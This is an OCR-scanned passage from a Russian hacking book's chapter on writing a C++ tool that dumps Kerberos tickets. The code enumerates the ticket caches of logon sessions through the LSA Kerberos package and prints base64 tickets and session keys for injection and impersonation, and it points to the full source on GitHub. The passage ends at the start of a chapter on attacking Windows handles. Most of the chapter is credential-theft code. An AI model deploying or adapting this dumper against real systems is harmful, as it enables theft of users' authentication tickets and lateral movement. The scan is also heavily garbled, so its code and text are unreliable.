<< st.wMonth << "." << st.wYear <<" " << st.wH01Jr << ":" <<
std: :cout << st.wDay <<
st.wMinute « "·" << st.wSecond << std::endl;
Она использует функцию FileTimeToSystemTime, которая преобрюует структуру FILETIME
в структуру SYSTEMTIME. А в этой второй структуре элементы уже «человеческие». Их
можно выводить.
166
Часть
11.
Системное программирование для хакеров
На этом этап сбора информации о
LUID
входа. Для этого дергаем функцию
Recei veLogoninfo 1). Она принимает хендл на LSA,
LUID,
а также номер АР
завершен, пора дампить тикеты из сеанса
Kerberos.
ReceiveLogoninfo(LsaHandle, *(LogonSessionList + i), kerberosAP);
Если бы мы хотели сдампить тикеты текущей сессии, то в качестве
LUID
можно
было бы передать {О, О}. Это означает текущий сеанс входа.
ReceiveLogoninfo(LsaHandle, { 0,0 }, kerberosAP);
Изучение кеша
Наконец, сердце программы. Основной компонент, который выполняет дамп тике
тов,
функция Recei veLogoninfo (). Она имеет следующий прототип:
-
DWORD
ReceiveLogoninfo(НANDLE
□
LsaHandle хендл
LsaConnectUntrusted();
□
LogonID -
LUID
□ kerberosAP -
на
LsaHandle, LUID Logonid, ULONG kerberosAP);
LSA,
полученный
через
LsaRegisterLogonProcess ()
или
сеанса входа, тикеты которого нужно сдампить;
айдишник пакета аутентификации
Полный код функции приводить не буду
-
Kerberos.
он слишком большой. Рассмотрим по
частям. Сначала мы должны обратиться к пакету аутентификации
Kerberos,
чтобы
получить информацию обо всех кешированных билетах. Для этого используется
функция LsaCallAuthenticationPackage ().
NTSTATUS LsaCallAuthenticationPackage(
[in] НANDLE
LsaHandle,
[in] ULONG
AuthenticationPackage,
[in] PVOID
ProtocolSubrnitBuffer,
[in] ULONG
SuЬrnitBufferLength,
[out] PVOID
*ProtocolReturnBuffer,
[out] PULONG
ReturnBufferLength,
[out] PNTSTATUS ProtocolStatus
);
Здесь:
□
LsaHandle -
хендл на
□ AuthenticationPackage □ ProtocolSuЬrni tBuffer -
LSA;
айдишник пакета, к которому мы обращаемся;
специфичная для каждого АР структура, позволяющая за
просить информацию, которую этот АР может предоставить. Например, мы бу
дем отдавать структуру KERB _QUERY _ткт _САСНЕ _REQUEST, получив которую АР
Kerberos
поймет, что ему нужно выдать информацию обо всех кешированных тикетах;
□ SuЬrnitBufferLength- размер ProtocolSubrnitBufftcr;
□ ProtocolReturnBuffer -
взаимодействие с АР во многом похоже на взаимодействие
по НТТР. Сначала отправляется реквест, а затем отдается респонс. Так вот,
Глава
9. Как дампить тикеты KerЬeros на С++
в этом
167
параметре будет лежать структура, которую вернул АР. Например,
КERВ_QUERY_TKT_CACНE_RESPONSE;
□ ReturnВufferLength
-
размер ProtocolReturnВuffer;
□ Protocolstatus -
ты, наверное, знаешь, что всякие ошибки у функций
WinAPI
можно ловить с помощью GetLastError (). Так вот, эта функция может сломаться
как при вызове, так и внутри самого АР
Kerberos.
В этом параметре будет ле
жать код ошибки, возвращенный непосредственно АР
Kerberos.
Например, если
функция вызвалась успешно, но мы передали кривую структуру, то АР
Kerberos
любезно оповестит нас об этом с помощью соответствующего кода ошибки,
который можно получить отсюда.
Теперь минутка ликбеза: в зависимости от того, как был получен хендл на
в АР
Kerberos
LSA,
будут вызваны различные функции. Если хендл получен через
LsaConnectUntrusted (), то в АР вызывается функция LsaApCallPackageUntrusted (). Если же
через LsaRegisterLogonProcess (), то LsaApCallPackage (). Прототипы функций приводить
не буду
-
они достаточно большие.
Вернемся к «Керберосу». Вот структура, которую нужно отдавать в АР
Kerberos
для перечисления его кеша:
typedef struct
_КERВ_QUERY_TКТ_CACНE_REQUEST
КERB_PROTOCOL_MESSAGE_TYPE
LUID
MessageType;
Logonld;
КERВ_QUERY_TKT_CACHE_REQUEST,
*PКERВ_QUERY_TКТ_CACНE_REQUEST;
Здесь:
□ мessageType -
специальное перечисляемое значение, характеризующее тип обра
щения к АР, т. е. с какой целью мы к нему пришли. Можно использовать
KerbQueryТicketCacheMessage;
□
сессия входа, для которой нужно перечислять тикеты.
Logonid -
в ответ АР
Kerberos
typedef struct
вернет структуру КЕRВ _QUERY- ткт- САСНЕ- RESPONSE:
_КERВ_QUERY_TКТ_CACHE_RESPONSE
КERВ_PROTOCOL_МESSAGE_TYPE
ULONG
КERB_TICКET_CACHE_INFO
MessageType;
CountOfTickets;
Tickets[ANYSIZE_ARRAY];
КERВ_QUERY_TKT_CACHE_RESPONSE,
*PКERB_QUERY_TКТ_CACНE_RESPONSE;
Здесь:
□
MessageType
специальное
перечисляемое
значение.
Будет
равно
KerbQueryТicketCacheMessage;
□ countofтickets
-
количество тикетов, которые связаны с указанной сессией входа;
□ Tickets [ANYSIZE_ARRAY] -
массив, содержащий информацию о тикетах. Представ
лен в виде структуры КЕRВ- ТIСКЕТ- САСНЕ- INFO.
typedef struct _КERВ_TICКET_CACHE_INFO
UNICODE STRING ServerName;
Часть
168
UNICODE STRING
LARGE INTEGER
LARGE INTEGER
LARGE INTEGER
LONG
ULONG
11.
Системное программирование для хакеров
RealmName;
StartTime;
EndTime;
RenewTime;
EncryptionType;
TicketFlags;
КERB_TICКET_CACHE_INFO,
*PКERB_TICКET_CACHE_INFO;
Здесь:
О ServerName -
имя сервера, для которого предназначен тикет. В случае
будет krbtgt/DOМAIN.coм. В случае
О RealmName -
TGS -
TGT это
SPN целевой службы;
это некая область видимости. В целом бесполезный параметр, но его
мы тоже можем выводить;
О StartTime, EndTime, RenewTime -
время получения билета, время, когда билет стух
нет, время, в течение которого билет можно обновить. С первыми двумя пара
метрами, думаю, все понятно, а вот последний позволяет на основе существую
щего билета запросить новый. Вы можете встретить этот набор функций, на
пример, в RuЬeus
О EncryptionType -
renew;
тип шифрования билета. По умолчанию есть
RC4, AES-128,
AES-256;
О TicketFlags -
флаги билета. То есть специальные значения, которые хранят ин
формацию об особенностях тикета.
Итак, пора запрашивать информацию. Вызываем функцию LsaCallAuthenticationPackage ( 1:
DWORD ReceiveLogonlnfo(НANDLE LsaHandle, LUID Logonid, ULONG kerberosAP) (
KERB_QUERY_TKT_CACHE_REQUEST kerbCacheRequest = ( KerbQueryТicketCacheMessage, Logonid f;
PКERB_QUERY_TKT_CACHE_RESPONSE pKerbCacheResponse;
PKERB_RETRIEVE_TKT_REQUEST pKerbRetrieveRequest;
PKERB_RETRIEVE_TKT_RESPONSE pKerbRetrieveResponse;
ULONG krbQTCacheSizeResponse = О;
NTSTATUS ProtocolStatus = О;
NTSTI\ТlJS status = LsaCal lAuthenticationPackage (LsaHandle, kerberosAP, &kerbCacheRequest,
s1zeof (KERB_QUERY _ТКТ _САСНЕ _REQUEST), (PVOID*) &pKerbCacheResponse,
&krbQTCacheSizeResponse, &ProtocolStatus);
if (status == О) (
if (ProtocolStatus == О)
std: :wcout « L"\t(+] Enumerated" « pKerbCacheResponse->CountOfTickets «
L" Tickets" << std: :endl;
Здесь все очевидно. Инициализируем структуры, дергаем АР Kerberos. Проверяем,
что вызов функции, равно как и ответ от АР Kerberos успешны, а затем приступаем
к парсингу полученных данных. Если вдруг что-то на каком-то этапе сломалось,
разбираемся с ошибкой при помощи LsaNtStatusToWiпError ( 1.
ULONG Stats = LsaNtStatusToWinError(status);
std::cout « L"[-] КЕRВ QUERY ТКТ САСНЕ REQUEST Func Zrror: "« Stats « std::endl;
-
-
-
-
Глава
9.
169
Как дампить тикеты KerЬeros на С++
Парсинг достаточно простой. Время выводим с помощью функции filetimeтoтime.
Имена реалма и сервера выводим вообще без парсинга, обращаясь к элементу Buffer
структуры
UNICODE - STRING.
std: :wcout << L"\tТICКET [" « i + 1 « L"]:" « std: :endl;
std: :wcout << L"\t\tServer Name:\t" « pKerbCacheResponse->Tickets[i] .ServerName.Buffer «
std: :endl;
std: :wcout << L"\t\tRealm Name:\t" « pKerbCacheResponse->Tickets[i] .RealmName.Buffer «
std: :endl;
std: :wcout « L"\t\tStart Time:\t"; filetimeToTime( (PFILETIME)&pKerbCacheResponse->
Tickets[i] .StartTime);
std: :wcout « L"\t\tEnd Time:\t"; filetimeToTime( (PFILEТIME)&pKerbCacheResponse->
Tickets[i] .EndTime);
std: :wcou·c « L"\t\tRenew Time: \t"; filetimeToTime ( (PFILETIME) &pKerbCacheResponse->
Tickets[i] .RenewTime);
Дополнительно я решил создать функцию containsKrЬtgt, с помощью которой можно
определить,
TGT
текущий тикет или
проверяет наличие строки krЬtgt в
если нет
TGS.
Работает она до неприличия просто:
serverName.buffer. Если такая строка есть, то перед
нами
TGT,
bool
UNICODE_STRING& unicodeStr) (
std: :wstring wstr(unicodeStr.Buffer, unicodeStr.Length / sizeof(WCНAR) );
std: :string str(wstr.begin(), wstr.end());
std: :transform(str.begin(), str.end(), str.begin(), : :tolower);
-
TGS.
containsKrЬtgt(const
if
(str.find("krЬtgt")
!= std: :string: :npos) (
return true;
else ( return false;
А вот соответствующий вывод в следующих строках:
if
.ServerName))
std: :wcout << L"\t\tTGT:\t TRUE" << std: :endl;
(containsKrЬtgt(pKerbCacheResponse->Tickets[i]
else
std: :wcout << L"\t\tTGS:\t TRUE" << std: :endl;
После чего остаются последние два элемента структуры
-
EncryptionType и Flags. Их
парсинг также нужно вынести в отдельную функцию.
std: :wcout « L"\t\tEncryptionType:\t" « KerberosEncryptionType(pKerbCacheResponse->
Tickets[i] .EncryptionType) << std::endl;
std: :wcout « L"\t\tTicket Flags:\t"; ParseTktFlags(pKerbCacheResponse->
Tickets[i] .TicketFlags);
Первая достаточно простая: это стандартный
PCSTR KerberosEncryptionType(LONG
PCSTR type;
еТуре)
switch - case.
Часть
170
switch
11.
Системное программирование для хакеров
(еТуре)
case КЕRВ ЕТУРЕ NU11:
case КЕRВ- ЕТУРЕ- DES- PLAIN:
case КЕRВ- ЕТУРЕ- DES- СВС- CRC:
case КЕRВ- ЕТУРЕ- DES- свс- MD4:
case КЕRВ ЕТУРЕ DES СВС MDS:
case КЕRВ ЕТУРЕ DES СВС MDS NT:
case КЕRВ ЕТУРЕ RC4 PLAIN:
case КЕRВ- ЕТУРЕ- RC4 - PLAIN2:
case КЕRВ ЕТУРЕ RC4 PLAIN ЕХР:
case КЕRВ- ЕТУРЕ- RC4 - LМ:
case КЕRВ ЕТУРЕ RC4 MD4:
case КЕRВ- ЕТУРЕ- RC4 - SНА:
case КЕRВ ЕТУРЕ RC4 НМАС NT:
case КЕRВ- ЕТУРЕ- RC4 - НМАС NT ЕХР:
case КЕRВ ЕТУРЕ RC4 PLAIN 01D:
case КЕRВ- ЕТУРЕ- RC4 - PLAIN- 010- ЕХР:
case КЕRВ ЕТУРЕ RC4 НМАС 010:
case КЕRВ- ЕТУРЕ- RC4 - НМАС- 010- ЕХР:
case КЕRВ- ЕТУРЕ- AES128 - стs- НМАС- SНAl 96 PLAIN:
case КЕRВ- ЕТУРЕ- AES256- CTS- НМАС- SНAl-96-PLAIN:
case КЕRВ ЕТУРЕ AES128 CTS НМАС SНAl 96:
case КЕRВ ЕТУРЕ AES256 CTS НМАС SНAl 96:
default:
type = 11 unknow
type
type
type
type
type
type
type
type
type
type
type
type
type
type
type
type
type
type
type
type
type
type
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
11,
null
'
";
des_plain
11,
11 des сЬс crc
'
11 des сЬс md4
";
11 des сЬс mdS
";
11,
11 des сЬс mdS nt
'
11 rc4_plain
";
11 rc4_plain2
";
11 rc4_plain_exp
";
11,
11 rc4 lm
'
11,
11 rc4 md4
'
11 rc4 sha
"·
'
11 rc4 hmac nt
";
11,
11 rc4_hmac_nt_exp
'
11,
11 rc4_plain_old
'
11 rc4_plain_old_exp 11 ;
11 rc4 hmac old
";
11 rc4_hmac_old_exp 11 ;
11 aes128_hmac_plain";
11 aes256_hmac _plain 11 ;
11 aes128 hmac
";
11 aes256 hmac
";
11
11
";
break;
break;
break;
break;
break;
break;
break;
break;
break;
break;
break;
break;
break;
break;
break;
break;
break;
break;
break;
break;
break;
break;
break;
return type;
Вторая чуточку сложнее. Чтобы корректно выводились все флаги, мы поместили их
еще в
stuff .h,
в массив строк
TicketFlagsToStrings:
const PCWCНAR TicketFlagsToStrings[) = {
1 11 name_canonicalize 11 , 1 11 ?11 , 1 11 ok_as_delegate", 1 11 ?11 ,
1 11 hw_authent 11 , 111 pre_authent 11 , 1 11 initial 11 , 1 11 renewaЫe 11 ,
1 11 invalid 11 , 111 postdated 11 , 1 11 may_postdate 11 , 1 11 proxy 11 ,
1 11 proxiaЬle 11 , 1 11 forwarded 11 , 1 11 forwardaЬle 11 , 1 11 reserved 11 ,
1;
А получить флаги тикета можно с помощью простых арифметических операторов.
V0ID ParseTktFlags(U10NG flags} {
0W0R0 i;
for (i = О; i < ARRAYSIZE(TicketFlagsToStrings}; i++)
if ((flags >> (i + 16}) & 1)
std: :wcout « TicketFlagsToStrings [i) « 11 , 11 ;
std: :wcout « std: :endl;
С парсингом кеша на этом все. Пора доставать сам тикет!
Глава
9.
Как дампить тикеты
Kerberos
на С++
171
Дамп тикета
Теперь у нас имеется вся информация о билете. Мы знаем, на какую службу он вы
писан, кто владеет этим билетом . Остается получить лишь сам тикет. Но сначала
нужно поставить точку в тикетах и сессионных ключах, чтобы не было путаницы
в голове. Вы, наверное, знаете, что в
Kerberos
везде и повсюду используются сесси
онные ключи, которые позволяют организовать зашифрованный канал связи между
КОС и клиентом либо клиентом и службой . Возможно, вы даже задавались вопро
сом: а в какой момент дампится сессионный ключ? Откуда его брать? Вот, напри
мер, вы сдампили тикеты через RuЬeus dump, он даже сессионный ключ вывел, но где
этот сессионный ключ используется? Я беру и внедряю тикет, и все работает
(рис.
9.6, 9.7).
Рис .
9.6.
Дамп тикета и сессионного ключа
Так вот. Помните, мы при обращении к АР
Kerberos
в структуре КЕRВ_QUЕRУ_ткт
САСНЕ _ REQUEST указывали MessageType? Он как раз определяет то, что нам требуется от
Kerberos. Ранее нам
и мы указывали
летах АР
надо было получить информацию о кешированных би
KerbQueryTi c ketCa cheMessage . А для дампа тикетов есть целых
два значения:
□ Ke r bRet r i ev eT i c ketMessage -
в документации
MSDN
написано:
«Эта процедура
диспетчеризации извлекает билет на выдачу билетов из кеша билетов указанно
го сеанса входа пользователя». Так вот, в действительности это позволит сдам
пить тикет, но без сессионного ключа. То есть мы получим как бы тикет, но за
инжектить его не выйдет, т. к . нужен будет связанный с ним сессионный ключ;
□ Ker bRetri eveEncodedTicketMessage -
в документации
MSDN
написано: «Это сообще
ние извлекает указанный билет либо из кеша, если он там уже есть, либо запра-
Часть
172
Рис.
9.7.
11.
Системное программирование для хакеров
Успешное внедрение тикета
шивая его из центра распространения ю~ючей
Kerberos
(КОС)». Как раз это зна
чение и позволит сдампить тикет сразу с сессионным ю~ючом.
Возможно, я объяснил не очень понятно. Давайте рассмотрим этот процесс на при
мерах. Я специально предусмотрел в инструменте возможность дампа тикета как
с сессионным ю~ючом, так и без него (рис.
9.8).
Сами тикеты выводятся друг за другом (рис.
9.9).
Видите? Тикет, начинающийся на dor, содержит также сессионный ю~юч
-
он пря
мо зашит в бинарные данные. Таким образом, внедряя этот тикет, мы без проблем
будем взаимодействовать с
Kerberos
от лица пользователя
-
владельца тикета.
А чуть 11иже я вывожу тикет без сессионного ю~юча. Не знаю, что с ним можно
сделать, но вдруг для каких-нибудь целей ресерча он сгодится? Причем обратите
внимание, что сессионный ю~юч у них один и тот же.
Глава
9.
Как дампить тикеты КегЬегоs на С++
Рис.
Рис.
9.9.
9.8.
Использование двух значений для дампа
Тикет с сессионным ключом и без сессионного ключа
173
Часть
174
//.
Системное программирование для хакеров
Думаю, теперь все встало на свои места. Давайте учиться дампить. После перечис
ления кеша билетов нам нужно эти самые тикеты получить. Для корректного дампа
потребуется также serverName, т. е. имя службы, для которой выписан тикет (помни
те, что в случае
TGT это
krЬtgt). Сначала выделяем буфер достаточного размера. Он
должен быть равен размеру структуры КЕRВ_RETRIEVE _ткт _REQUEST плюс размер строки,
содержащей имя службы, на которую выписан конкретный тикет.
DWORD szData =
RETRIEVE ТКТ REQUEST) + pKerbCacheResponse->
- Tickets[i] .ServerName.MaximшnLength;
if (pKerbRetrieveRequest = (PКERB_RETRIEVE_TКТ_REQUEST)LocalAlloc(LPTR, szData)) {
Если
sizeof(КERВ
выделение
памяти
прошло
успешно,
мы
можем
инициализировать
pKerbRetrieveRequest нужными значениями. Структура КЕRВ_RETRIEVE _ткт_REQUEST выгля
дит вот так:
typedef struct
_КERВ_RETRIEVE_TKT_REQUEST
LUID
UNICODE STRING
ULONG
ULONG
LONG
SecHandle
MessageType;
Logonid;
TargetName;
TicketFlags;
CacheOptions;
EncryptionType;
CredentialsHandle;
КERВ_RETRIEVE_TКТ_REQUEST,
*PКERВ_RETRIEVE_TКТ_REQUEST;
КERВ_PROTOCOL_MESSAGE_TYPE
Здесь
□
MessageType -
для дампа с сессионным ключом ставим KerbRetrieveEncodedTicketМessage.
Для дампа без сессионного ключа
□ Logonid -
LUID
- KerbRetrieveTicketMessage;
сеанса входа, из которого мы дампим тикеты;
□ тargetName -
имя службы, на которую выписан тикет. С помощью этого парамет
ра можно создать фильтр. Фактически чтобы сдампить только тикеты на
определенную службу, например только на CIFS/DC0l.CRINGE.LAВ;
□ TicketFlags -
флаги-фильтры. Если установлено значение О и если в кеше найден
соответствующий билет, то этот билет будет сдамплен независимо от значений
его флагов. Если совпадений в кеше нет, то будет запрошен новый тикет;
□ cacheOptions -
всякие опции, связанные с кешированием. Их очень много, мы
указываем КЕRВ_RETRIEVE _тrсКЕт_AS _КЕRВ_CRED, чтобы тикеты вернулись в формате
КRВ_CRED, который описан в
□ EncryptionType □
RFC 4120 (https://www.ietf.org/rfc/rfc4120.txt);
определяет тип шифрования у билета;
CredentialsHandle -
это для
SSPI,
мы рассматривали
SSPI
в главе
4.
В нашем слу-
чае этот параметр не используется.
Корректная инициализация сложна, но мы же хакеры! Поэтому просто берем и
копируем все значения, которые мы получили при изучении кеша АР Kerberos, по
скольку там в возвращаемой структуре присутствовали те же самые элементы.
Глава
9.
Как дампить тикеты
Kerberos
175
на С++
pKerbRetr1eveRequest->MessageType = KerbRetrieveEncodedTicketMessage;
pKerbRetrieveRequest->CacheOptions = KERB_RETRIEVE_TICKET_AS_KERB_CRED;
pKerbRetrieveRequest->Ticket Flags = pKerbCacheResponse->Tickets. [ i] . TicketFlags;
pKerbRetrieveRequest->TargetName = pKerbCacheResponse->Tickets[1] .ServerName;
pKerbRetrieveRequest->Logonld = kerbCacheRequest.Logonld;
pKerbRetrieveRequest->TargetName.Buffer - (PWSTR) 1(PBYTE)pKerbRetrieveRequest +
sizeof(KERB_RETRIEVE_TKT_REQUEST11;
У нас структура KERB _RETRIEVE _ткт _PEQUEST представлена в переменной pKerbRetrieveRequest,
которая просто динамически выделена в памяти. Поэтому в целях заполнения име
ни службы следует использовать функции для копирования буфера с одного адреса
на другой.
RtlCopyMemory(pKerbRetrieveRequest->TargetName.Buffer, pKerbCacheResponse->
Tickets[i] .ServerName.Buffer, pKerbRetrieveRequest->TargetName.MaximumLength);
Теперь структура подготовлена. Но ведь это только реквест. А как будет выглядеть
ответ? Ответ представляет собой структуру КЕRВ _RETRIEVE _ткт _RESPONSE:
typedef struct _KERB_RETRIEVE_TKT_RESPONSE {
KERB - EXTERNAL - TICKET Ticket;
) КERB_RETRIEVE_TKT_RESPONSE, *PKERB_RETRIEVE
Здесь Ticket -
ТКТ
RESPONSE;
это сдампленный тикет собственной персоной.
А вот структура, в которой тикет хранится в системе:
typedef struct _KERB_EXTERNAL_TICKET
PKERB - EXTERNAL - NАМЕ Serv1ceName;
PKERB_EXTERNAL_NAМE TargetName;
PKERB_EXTERNAL_NAМE ClientName;
DomainName;
UNICODE STRING
TargetDoma1nName;
UNICODE STRING
AltTargetDomainName;
UNICODE STRING
l<ERB- CRYPTO - КЕУ
SessionKey;
ULONG
T1cketFlags;
Flags;
ULONG
KeyExpirationTime;
LARGE INTEGER
StartTime;
LARGE INТEGER
EndT1me;
LARGE INTEGER
RenewUntil;
LARGE INTEGER
LAF.GE INТEGER
TimeSkew;
EncodedTicketSize;
ULONG
EncodedTicket;
PUCНAF.
KERB_EXTEF.NAL_TICKET, *PKERB_EXTERNAL_TICKET;
Здесь очень много элементов, но я думаю, что по названиям вполне можно дога
даться об их предназначении. Обратите внимание на EncodedTicket -
это и есть то,
что мы ищем. Наконец получаем тикст!
status = LsaCallAuthenticationPackage!LsaHandle, kerberosAP, pKerbRetrieveRequest, szData,
(PVOID*)&pKerbF.etrieveResponse, ~szD~ta, &ГrotocolStatus);
Часть
176
11.
Системное программирование для хакеров
if (status == 0) 1
if (ProtocolStatus == 0) (
if lpKerbRetrieveResponse->Ticket.TargetName) ( // Может бьrгь рааен NULL
printExternalName(*pKerbRetrieveResponse->Ticket.TargetName, L"TargetName");
st;
FileTimeToSystemTime( (PFILETIME)&pKerbRetrieveRespoпse->Ticket.TimeSkew, &st);
std: :wcout << L"\t\tTimeSkew:\t" << st.wHour << ":" << st.wМiпute << ":" <<
st.wSecoпd << std::eпdl;
printExterпalName(*pKerbRetrieveRespoпse->Ticket.ServiceName, L"ServiceName"I;
SYSTEМTIME
printExterпalName(*pKerbRetrieveRespoпse->Ticket.ClieпtName,
L"ClieпtName");
std: :wcout « L"\t\tDomainName:\t";
priпtUnicodeStriпgBuffer(pKerbRetrieveRespoпse->Ticket.DomaiпName);
std: :wcout «
L"\t\tTargetDomaiпName:\t";
priпtUпicodeStriпgBuffer(pKerbRetrieveRespoпse->Ticket.TargetDomaiпName);
std: :wcout « L"\t\tAltTargetName:\t";
printUпicodeStriпgBuffer(pKerbRetrieveRespoпse->Ticket.AltTargetDomaiпName);
std: :cout « "\t\tSessioп key: (Ьб4) " « base64_eпcode(pKerbRetrieveRespoпse->
Ticket.SessionKey.Value, pKerbRetrieveRespoпse->Ticket.SessioпKey.Leпgth) <<
std::eпdl;
std: :cout «
"\t\tSessioпKeyType:\t";
GetSessioпKeyТype(pKerbRetrieveRespoпse->
Ticket.SessioпKey.KeyТype);
std: :cout « "\t\tTicket (with
Sessioп Кеу):
"
«
base64_eпcode(pKerbRetrieveRespoпse->Ticket.EпcodedTicket,
pKerbRetrieveRespoпse->Ticket.EпcodedTicketSize)
Сначала
проверяем,
инициализирован
ли
<< std:
элемент
:eпdl;
тargetName
структуры
КЕRВ
EXTERNAL_TICKET. Этот элемент содержит SPN. Причем раньше, когда я только изучал
эту тему, именно в это место программы я добавлял проверку: TGT перед нами или
TGS. Если TGT, то элемент должен быть равен NULL, а если не TGT, то внутри дол
жен быть записан SPN службы. Но лишь потом я обнаружил, что в случае TGT этот
элемент будет иметь значение KRBTGT/OOМAIN.coм, поэтому проверка на TGT, которую
я описывал выше (где мы проверяем ServiceName), более правильная.
Для корректного вывода структуры РКЕRВ_ EXTERNAL _NАМЕ напишем отдельную функ
цию, поскольку просто взять и вывести ее не получится.
void pr1пtExterпalNamelKERB_EXTERNAL_NAМE& exterпalName, coпst wchar t*
std: :wcout << "\t\t" << Paramname << " (Туре): ";
switch (exterпalName.NameType) (
case О:
std: :wcout « "KRB NT UNКNOWN" « std: :eпdl;
break;
case l:
std: :wcout « "KRB NT PRINCIPAL" « std: :eпdl;
break;
case -131:
std: :wcout « "KRB NT PRINCIPAL AND ID" « std: :eпdl;
break;
Paramпame)
(
Глава
9.
Как дампить тикеты
KertJeros
на С++
177
case 2:
std: :wcout
«
«
"КRВ
NT SRV INST"
«
"КRВ
NT SRV INST AND ID"
«
"КRВ
NT SRV HST"
«
"КRВ
NT SRV
«
"КRВ
NT UID "
«
"КRВ NТ
ENTERPRISE PRINCIPAL"
«
std: :endl;
«
"КRВ NТ
ENT PRINCIPAL AND ID"
«
std: :endl;
std: :endl;
break;
case -132:
std: :wcout
«
std: :endl;
break;
case 3:
std: :wcout
« std: :endl;
break;
case 4:
std: :wcout
ХНSТ"
« std: :endl;
break;
case 5:
std: :wcout
«
std: :endl;
break;
case 10:
std: :wcout
break;
case -130:
std: :wcout
break;
default:
std: :wcout
<< "Unknown(" << externalName.NameType << ")" << std: :endl;
break;
for (USHORT i =
О;
i < externalName.NameCount; i++) {
UNICODE_STRING& unicodeString = externalName.Names[i];
wprintf(L"\t\t%ws %d: ", Paramname, i + 1);
printUnicodeStringBuffer(unicodeString);
Эта функция принимает структуру КERB_EXTERNAL_NAМE, а также имя параметра (в на
шем случае тargetName). Затем она начинает выводиrъ всю информацию о структуре.
В NameType содержится тип имени, которое идеmифицирует объект. Например,
Kerberos. После чего
( очень редко их может
КRВ _ NT_ PRINCIPAL означает, что в строке лежит имя принципала
мы выводим все имена, содержащиеся в этой структуре
быть несколько). Вывод выполняем также в отдельной функции.
void printUnicodeStringBuffer(UNICODE_STRING& unicodeString)
if (unicodeString.Buffer != nullptr) {
wprintf(L"%.*s\n", unicodeString.Length / sizeof(wchar_t), unicodeString.Buffer);
Таким образом мы успешно парсим все строковые данные из тикета. Наконец, са
мое сочное
-
бинарные данные. Начнем с получения сессионного ключа. Для это
го используем функцию base64 encode (), которой передаем длину ключа, сам ключ
Часть
178
//.
Системное программирование для хакеров
(в виде бинарных данных), а в ответ получаем ключ, закодированный в
Base64.
До
полнительно получаем тип шифрования в функции GetSessionKeyType ():
void GetSessionKeyType(LONG КеуТуре)
switch
case
(КеуТуре)
КЕRВ ЕТУРЕ
std: :wcout
{
NULL:
«
L"КЕRВ ЕТУРЕ
NULL"
«
std: :endl;
break;
case
КЕRВ ЕТУРЕ
-
std: :wcout
-
DES
«
- СВС- CRC:
L"КЕRВ ЕТУРЕ
CRC"
«
std: :endl;
DES СВС MD4"
«
std: :endl;
RC4 НМАС NT"
«
std: :endl;
DES СВС MDS"
«
std: :endl;
СВС
DES
break;
case
КЕRВ ЕТУРЕ
-
std: :wcout
-
DES
«
- СВС- MD4:
L"КЕRВ ЕТУРЕ
break;
case
КЕRВ ЕТУРЕ
-
std: :wcout
- RC4 - НМАС- NT:
«
L"КЕRВ ЕТУРЕ
-
-
-
-
break;
case
КЕRВ ЕТУРЕ
-
std: :wcout
-
DES
«
-
СВС
-
MDS:
L"КЕRВ ЕТУРЕ
break;
case
КЕRВ ЕТУРЕ
-
std: :wcout
- RC4- MD4:
«
L"КЕRВ ЕТУРЕ
-
- RC4 - MD4" «
std: :endl;
break;
case КЕRВ ЕТУРЕ AES256 CTS НМАС SНAl 96:
-
std: :wcout
«
-
-
-
-
L"КERB_ETYPE_AES256_CTS_НМAC_SНA1_96"
«
std: :endl;
«
std: :endl;
break;
case КЕRВ ЕТУРЕ AES128 CTS НМАС SНAl 96:
-
std: :wcout
- -
-
«
L"КERB_ETYPE_AES128_CTS_НМAC_SНA1 96"
«
L"КERВ_ETYPE_RC4_MD5"
«
std: :endl;
«
L"КЕRВ ЕТУРЕ
«
std: :endl;
«
L"КERB ЕТУРЕ
«
std: :endl;
«
L"Unknown\t("
-
break;
case 129:
std: :wcout
break;
case 130:
std: :wcout
break;
-
- RC2-MD4"
case 131:
std: :wcout
-
-
RC2 MDS"
-
break;
default:
std::wcout
«
КеуТуре
« ")" «
std::endl;
break;
Тикет мы выводим с помощью той же base64_ encode (). В последних строках про
граммы вновь обращаемся к АР
Kerberos,
но уже для дампа тикета отдельно, без
сессионного ключа. Для этого просто меняем элемент мessageType ранее инициа
_
лизированной структуры КЕRВ _RETRIEVE_ ткт REQUEST на значение KerbRetrieveTicketMessage,
ну и выводим его.
Глава
9.
179
Как дампить тикеты KerЬeros на С++
pKerbRetrieveRequest->MessageType = KerbRetrieveTicketMessage;
status = LsaCallAuthenticationPackage(LsaHandle, kerberosAP, pKerbRetrieveRequest, szData,
(PVOID*)&pKerbRetrieveResponse, &szData, &ProtocolStatus);
if (status == О) (
if (ProtocolStatus == О) (
std: :cout « "\t\tTicket (without Session Кеу): " «
base64_encode(pKerbRetrieveResponse->Ticket.EncodedTicket,
pKerbRetrieveResponse->Ticket.EncodedTicketSize) << std: :endl;
std: :cout « "\t\tSession key for ticket w/out session key: (Ь64) " «
base64_encode(pKerbRetrieveResponse->Ticket.SessionKey.Value,
pKerbRetrieveResponse->Ticket.SessionКey.Length) << std: :endl;
std: :cout « "\t\tSessionKeyType:\t"; GetSessionКeyType(pKerbRetrieveResponse->
Ticket.SessionKey.KeyType);
Заключение
Написание собственного инструментария для решения задач по пентесту
-
неотъ
емлемая часть профессионального роста. Возможно, эта глава показалась вам
сложноватой, но не переживайте! Полный код этого проекта можно найти на
GitHub (https://githu b.com/МzНmO/articles/tree/main/Тicket%20Dumper).
ГЛАВА
10
Как злоупотреблять хендлами
в
В
Windows
Windows
все взаимодействие программного кода с системой построено на хенд
лах. Можно атаковать компонешы системы, ковырять ядро, но что, если атаковать
сами дескрипторы? В этой главе я разобрал несколько вариашов атак на них.
Хендлы (они же дескрипторы) в
Windows -
это один из важных камней в фунда
менте системы. На хендлах построено и основывается все взаимодействие из про
граммного кода с компонентами
Windows.
Именно благодаря дескрипторам ядро
понимает, к какому объекту мы хотим обратиться и с каким уровнем доступа.
Хендл обычно можно получить с помощью стандартных функций. На файл
(bttps://learn.microsoft.com/ru-ru/windows/win32/api/fileapi/nfШeapi-createfilea ), на LSA через LsaOpenPolicy() (bttps://learn.microsoft.com/ruru/windows/win32/api/ntsecapi/nf-ntsecapi-lsaopenpolicy). В Windows очень много
через
createFi le ( )
разных объектов, с которыми можно взаимодействовать. Вы можете открыть спи
сок
WinAPI (bttps://learn.microsoft.com/en-us/windows/win32/apiindex/windowsapi-list), ткнуть на любой интересующий компонеш и убедиться, что самой основ
ной и важной апихой будет API для получения хендла на нужный объект. Не полу
чил хендл - не смог взаимодействовать с системой.
Знаете ли вы, что есть атаки и на сами хендлы?
Интересные хендлы
Во-первых, следует определиться с тем, что мы ищем. Нас ишересуют далеко не
